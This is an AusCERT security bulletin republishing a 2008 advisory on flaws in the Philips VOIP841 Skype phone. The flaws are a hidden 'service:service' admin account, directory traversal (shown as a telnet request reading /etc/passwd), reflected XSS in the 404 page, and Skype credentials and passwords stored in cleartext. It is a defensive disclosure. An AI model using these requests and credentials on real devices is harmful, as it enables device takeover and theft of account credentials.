Protect yourself against future threats.
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2008.0169 -- [Appliance] Philips VOIP841 Multiple Vulnerabilities 15 February 2008 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: Philips VOIP841 Publisher: Secure Network Operating System: Network Appliance Impact: Administrator Compromise Access Privileged Data Read-only Data Access Cross-site Scripting Access: Remote/Unauthenticated Original Bulletin: http://www.securenetwork.it/ricerca/advisory/download/SN-2008-01.txt - --------------------------BEGIN INCLUDED TEXT-------------------- Secure Network - Security Research Advisory Vuln name: Philips VOIP841 Multiple Vulnerabilities Systems affected: Philips VOIP841, Firmware Version 1.0.4.50 and 1.0.4.80, Web Server Version 1.5 (simple httpd) Systems not affected: n/a Severity: High Local/Remote: Remote Vendor URL: http://www.consumer.philips.com/consumer Author(s): Luca "ikki" Carettoni - luca.carettoni@securenetwork.it Vendor disclosure: 23rd January 2008 Vendor acknowledged: - Vendor patch release: - Public disclosure: 14th February 2008 Advisory number: SN-2008-01 Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com *** SUMMARY *** VOIP841 is one of the first DECT cordless phones with an embedded Skype client. Without a computer, it is possible to call directly other Skype users or international numbers using SkypeOut as well as the regular PSTN line. It is important to notice that it is Skype Certified and presented as a best seller on the "Skype Shop" online. Multiple vulnerabilities have been found in the latest version of this VOIP phone, ranging from an hidden administration account to XSS and directory traversal. Various consequences are associated with these issues, such as theft of Skype authentication credentials stored in the phone and information disclosure. In order to exploit some vulnerabilities, a regular user should be authenticated. However, using the hidden administration account it is possible to easily bypass this security mechanism. *** VULNERABILITY DETAILS *** (a) Hidden Administration Account The device provides a comfortable web management console, protected with a basic HTML Authentication. The default account is set to "Philips:voip841". We discovered an hidden administration account which is probably used during technical remote assistance. In the file "/var/cnxt/service", there is the BASE64 string "c2VydmljZTpzZXJ2aWNl" which represents the account "service:service". Using these credentials it is possible to login into the web administration console with admin privileges. The previous user enables also a "secret" tab called [Change MAC Address] where it is possible (as the name implies) to change the hardware address of the network interface. (b) Directory Listing, Directory Traversal The embedded webserver doesn't sanitize any kind of user input. The directory listing option is also enabled. Using the previous account it is possible to browse every directory on the device and to retrieve the content of any file with a simple HTTP request. Let's see a self explaining example: jungle ikki $ telnet 192.168.1.10 80 Trying 192.168.1.10... Connected to 192.168.1.10. Escape character is '^]'. GET /../../../../../../../../etc/passwd HTTP/1.0 Host: 192.168.1.10 Authorization: Basic c2VydmljZTpzZXJ2aWNl HTTP/1.0 200 OK Content-type: text/plain Expires: Sat, 24 May 1980.7:00:00.GMT Pragma: no-cache Server: simple httpd 1.0 root:x:0:0:root:/root:/bin/bash demo:x:5000:100:Demo User:/home/demo:/bin/bash nobody:x:65534:65534:Nobody:/htdocs:/bin/bash Connection closed by foreign host. (c) Cross Site Scripting (XSS) Due to the absence of input filters it is possible to inject scripting code inside the 404 standard response page. In this way it is possible to trigger XSS attacks with a simple HTTP request like the following: GET /var/htdocs/<script>alert("XSS");</script> HTTP/1.0 Host: 192.168.1.10 <html><head><title>404 File Not Found</title></head> <body> httpd server: The requested URL '/var/htdocs/<script>alert("XSS");</script>' was not found on this server. </body></html> (d) Insecure Storage Browsing the device filesystem, we have noticed the presence of sensitive information stored in an insecure way. Just to show the possible risks, we report the possibility to retrieve Skype credentials used by the device and inserted by the user during the configuration process. In the file "/var/jffs2/data/save.dat", the embedded Skype client stores temporary information such as the Skype account (username and password) in clear text. Another issue is related to the change password procedure for the web management console: every operation done on the web console is logged on a temporary file present in the directory "/tmp". When an administrator changes the web authentication password, the old and the new values are revealed into the file "apply.log" generated by the cgi-bin called "apply". ###### CUT HERE ###### <22:02:11.940000> apply cgi start... <22:02:11.940000> Content length : 64 <22:02:11.940000> btn_action=admin&edit_pwd1=ikki&edit_pwd2=ikki&rb_defaults=rb_no <22:02:11.940000> 0 : [btn_action] = [admin] <22:02:11.940000> 1 : [edit_pwd1] = [ikki] <22:02:11.940000> 2 : [edit_pwd2] = [ikki] <22:02:11.940000> 3 : [rb_defaults] = [rb_no] <22:02:11.940000> Action : [4] admin <22:02:11.940000> OldUser:philips:voip841 <22:02:11.940000> NewUser:ikki <22:02:11.940000> Encoded:philips:ikki ###### CUT HERE ###### *** EXPLOIT *** Attackers may exploit these issues through a common browser as explained above. *** FIX INFORMATION *** n/a *** WORKAROUNDS *** n/a ********************* *** LEGAL NOTICES *** ********************* Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues. This advisory is copyright 2008 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similars, provided that due credit is given to Secure Network The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible. E-mail: securenetwork@securenetwork.it GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc Phone: +39 02 24126788 - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. The mailing list you are subscribed to is maintained within your organisation, so if you do not wish to continue receiving these bulletins you should contact your local IT manager. If you do not know who that is, please send an email to auscert@auscert.org.au and we will forward your request to the appropriate person. NOTE: Third Party Rights This security bulletin is provided as a service to AusCERT's members. As AusCERT did not write the document quoted above, AusCERT has had no control over its content. The decision to follow or act on information or advice contained in this security bulletin is the responsibility of each user or organisation, and should be considered in accordance with your organisation's site policies and procedures. AusCERT takes no responsibility for consequences which may arise from following or acting on information or advice contained in this security bulletin. NOTE: This is only the original release of the security bulletin. It may not be updated when updates to the original are made. If downloading at a later date, it is recommended that the bulletin is retrieved directly from the author's website to ensure that the information is still current. Contact information for the authors of the original document is included in the Security Bulletin above. If you have any questions or need further information, please contact them directly. Previous advisories and external security bulletins can be retrieved from: http://www.auscert.org.au/render.html?cid=1980 If you believe that your computer system has been compromised or attacked in any way, we encourage you to let us know by completing the secure National IT Incident Reporting Form at: http://www.auscert.org.au/render.html?it=3192 =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for member emergencies only. =========================================================================== -----BEGIN PGP SIGNATURE----- Comment: http://www.auscert.org.au/render.html?it=1967 iQCVAwUBR7TX+yh9+71yA2DNAQJKTgP/Yi9kzEfInFlOaScssy6dWad6c4XDcpBU 0sONLd3TaOPG4kWhfgovDKSH+M3Xeh/8f7sfI1OU0whc5KS334socLFdIwI7TIE5 +onEbQAa89/2EmDWj9xDvBaedWI3RYt/pmoxNOZ4OF2mdnIZcvfbOHesPS71EuCU BBamYFVRUVA= =+WBv -----END PGP SIGNATURE-----